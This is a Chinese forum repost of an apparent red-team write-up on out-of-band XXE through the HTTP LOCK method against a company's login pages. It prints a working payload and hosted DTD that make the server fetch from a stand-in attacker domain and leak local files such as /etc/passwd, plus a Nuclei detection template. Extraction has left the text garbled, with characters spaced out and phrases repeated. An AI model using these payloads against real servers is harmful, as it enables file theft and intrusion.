搜索

[20519] 2021-02-20_在Wildfire上利用XXE

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-20_在Wildfire上利用XXE 在 W i l d f i r e 上 利 用 X X E G e e k   F r e a k   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 2 - 2 0                 本 文 将 通 过 H T T P 锁 定 方 法 介 绍 我 在 R e d   T e a m i n g   E n g a g e m e n t 期 间 在 中 发 现 的 一 个 有 趣 的 带 外 X X E P r o d u c t   B a s e d   C o m p a n y 漏 洞 之 一 ， 并 大 规 模 利 用 了 该 漏 洞 。                 如 今 手 法 许 多 类 别 、 例 如 网 络 威 胁 情 报 ， 内 部 对 手 模 拟 ， 外 部 对 手 模 拟 ， 社 会 工 程 学 ， 深 层 W e b   / 暗 网 暴 露 ， O S I N T ， 网 络 钓 鱼 等 。
                此 漏 洞 是 在 “ 外 部 攻 击 者 模 拟 ” 类 别 中 发 现 的 ， 该   类 别 用 来 测 试 W e b 应 用 程 序 和 网 络 资 产 ， 以 查 找 关 键 的 服 务 器 端 错 误 ， 以 便 我 们 可 以 窃 取 数 据 以 取 得 初 步 立 足 点 。 W e b 应 用 程 序 渗 透 部 分 下 有 数 百 个 登 录 页 面 ， 并 且 从 D e e p   /   D a r k   W e b   E x p o s u r e 获 得 的 凭 据 不 起 作 用 : ( 找 到 了 许 多 由 公 司 开 发 给 他 们 的 客 户 的 登 录 页 面 ， 以 处 理 双 方 之 间 的 数 据 。 步 骤 步 骤 1 ： 使 用 客 户 端 代 理 （ 例 如 ： 使 用 客 户 端 代 理 （ 例 如 B u r p   S u i t e ） 拦 截 登 录 请 求 ， 如 下 所 示 ） 拦 截 登 录 请 求 ， 如 下 所 示 步 骤 步 骤 2 ： 开 始 检 查 使 用 ： 开 始 检 查 使 用 O P T I O N S 在 应 用 程 序 中 启 用 的 不 同 在 应 用 程 序 中 启 用 的 不 同 H T T P 方 法 方 法 从 上 图 可 以 看 出 ， 应 用 程 序 没 有 任 何 反 应 ， 得 到 了 与 G E T 方 法 相 同 的 响 应 。 步 骤 步 骤 3 ： 删 除 ： 删 除 l o g i n . j s p 并 提 供 一 个 不 存 在 的 值 （ 测 试 ） 后 ， 它 显 示 了 应 用 程 序 允 许 的 不 同 并 提 供 一 个 不 存 在 的 值 （ 测 试 ） 后 ， 它 显 示 了 应 用 程 序 允 许 的 不 同 H T T P 方 法 方 法
如 果 应 用 程 序 P R O P P A T C H , P R O P F I N D , L O C K 启 用 了 H T T P 方 法 ， 它 将 接 受 X M L 作 为 输 入 。 步 骤 步 骤 4 ： 尝 试 了 ： 尝 试 了 P U T 方 法 并 返 回 了 方 法 并 返 回 了 4 0 3   f o r b i d d e n   e r r o r ， 但 是 当 我 尝 试 ， 但 是 当 我 尝 试 L O C K 方 法 时 ， 它 显 示 了 方 法 时 ， 它 显 示 了 一 些 一 些 X M L 数 据 作 为 输 出 ， 如 下 所 示 数 据 作 为 输 出 ， 如 下 所 示 还 提 到 了 O O B - X X E 它 将 与 支 持 X M L 输 入 的 任 何 方 法 一 起 使 用 。
步 骤 步 骤 5 ： 因 此 ， 我 开 始 使 用 基 本 有 效 负 载 测 试 ： 因 此 ， 我 开 始 使 用 基 本 有 效 负 载 测 试 O O B - X X E ， 如 下 所 示 ， 如 下 所 示 注 意 ： 我 们 从 服 务 器 获 得 了 H T T P 和 D N S 命 中 。 步 骤 步 骤 6 ： 由 于 是 ： 由 于 是 O u t - O f - B a n d   X X E ， 请 按 照 以 下 步 骤 设 置 环 境 ， 请 按 照 以 下 步 骤 设 置 环 境                 注 意 ： 我 们 需 要 将 D T D 文 件 托 管 在 W e b 服 务 器 上 。 在 这 里 ， 我 们 在 云 上 使 用 了 一 个 简 单 的 W e b 服 务 器 ， 将 域 y o u r d o m a i n n a m e . c o m 指 向 服 务 器 的 公 共 I P 地 址 ， 并 将 文 件 托 管 e x p l o i t e d . d t d 在 服 务 器 上 。 内 容 e x p l o i t e d . d t d ： < ! D O C T Y P E   t e s t   [ < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r i p a d d r e s s . c o m " >   % x x e ;   ] >
请 求 正 文 发 送 到 易 受 攻 击 的 U R L ： 步 骤 步 骤 7 ： 现 在 有 趣 的 事 情 开 始 了 ， 我 们 能 够 提 取 并 读 取 不 同 的 目 录 文 件 和 敏 感 信 息 ， 例 如 备 份 ： 现 在 有 趣 的 事 情 开 始 了 ， 我 们 能 够 提 取 并 读 取 不 同 的 目 录 文 件 和 敏 感 信 息 ， 例 如 备 份 文 件 ， 配 置 文 件 ， 文 件 ， 配 置 文 件 ， s s h 密 钥 和 访 问 日 志 等 密 钥 和 访 问 日 志 等 < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   e x t   " < ! E N T I T Y   e x f i l   S Y S T E M   ' f i l e : / / / % f i l e ; ' > " > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y > < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r d o m a i n n a m e . c o m / e x p l o i t d . d t d " > % x x e ; % e x t ; ] > < f o o > < u > & e x f i l ; < / u > < / f o o >
由 于 存 在 大 量 子 域 ， 因 此 我 们 编 写 了 一 个 核 模 板 来 检 测 此 O O B - X X E ， 如 下 所 示 。 i d :   X X E   o n   X X X X   L o g i n i n f o :     n a m e :   X M L   E x t e r n a l   E n t i t y - X X X X     a u t h o r :   d h i y a n e s h D k     s e v e r i t y :   h i g h r e q u e s t s :     -   r a w :               -   |                 L O C K   / x x x x / t e s t   H T T P / 1 . 1                 H o s t :                   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 6 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 8 . 0                 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8                 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5                 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e                 C o n n e c t i o n :   c l o s e                 U p g r a d e - I n s e c u r e - R e q u e s t s :   1                 C a c h e - C o n t r o l :   m a x - a g e = 0
有 大 约 3 6 + 实 例 这 是 脆 弱 到 X X E 和 交 叉 手 工 检 查 所 有 实 例 。                 C o n t e n t - L e n g t h :   1 7 8                 < ? x m l   v e r s i o n = " 1 . 0 " ? >                 < ! D O C T Y P E   f o o   [                 < ! E L E M E N T   f o o   A N Y >                 < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / y o u r d o m a i n n a m e . c o m / e x p l o i t d . d t d " >                 % x x e ;                 % e x t ;                 ] >                 < f o o > < u >                 & e x f i l                 < / u > < / f o o >         m a t c h e r s - c o n d i t i o n :   a n d         m a t c h e r s :             -   t y p e :   s t a t u s                 s t a t u s :                     -   5 0 0             -   t y p e :   w o r d                 w o r d s :                     -   ' / r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h '                 p a r t :   b o d y
影 响 影 响   ： ： X X E 漏 洞 可 能 使 攻 击 者 将 X M L 解 析 器 转 换 为 代 理 ， 该 代 理 允 许 根 据 请 求 提 供 本 地 和 远 程 内 容 。 它 允 许 攻 击 者 执 行 以 下 操 作 ： 在 应 用 程 序 服 务 器 上 读 取 文 件 与 应 用 程 序 本 身 可 以 访 问 的 任 何 后 端 或 外 部 系 统 进 行 交 互 查 看 系 统 中 存 在 的 配 置 文 件 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理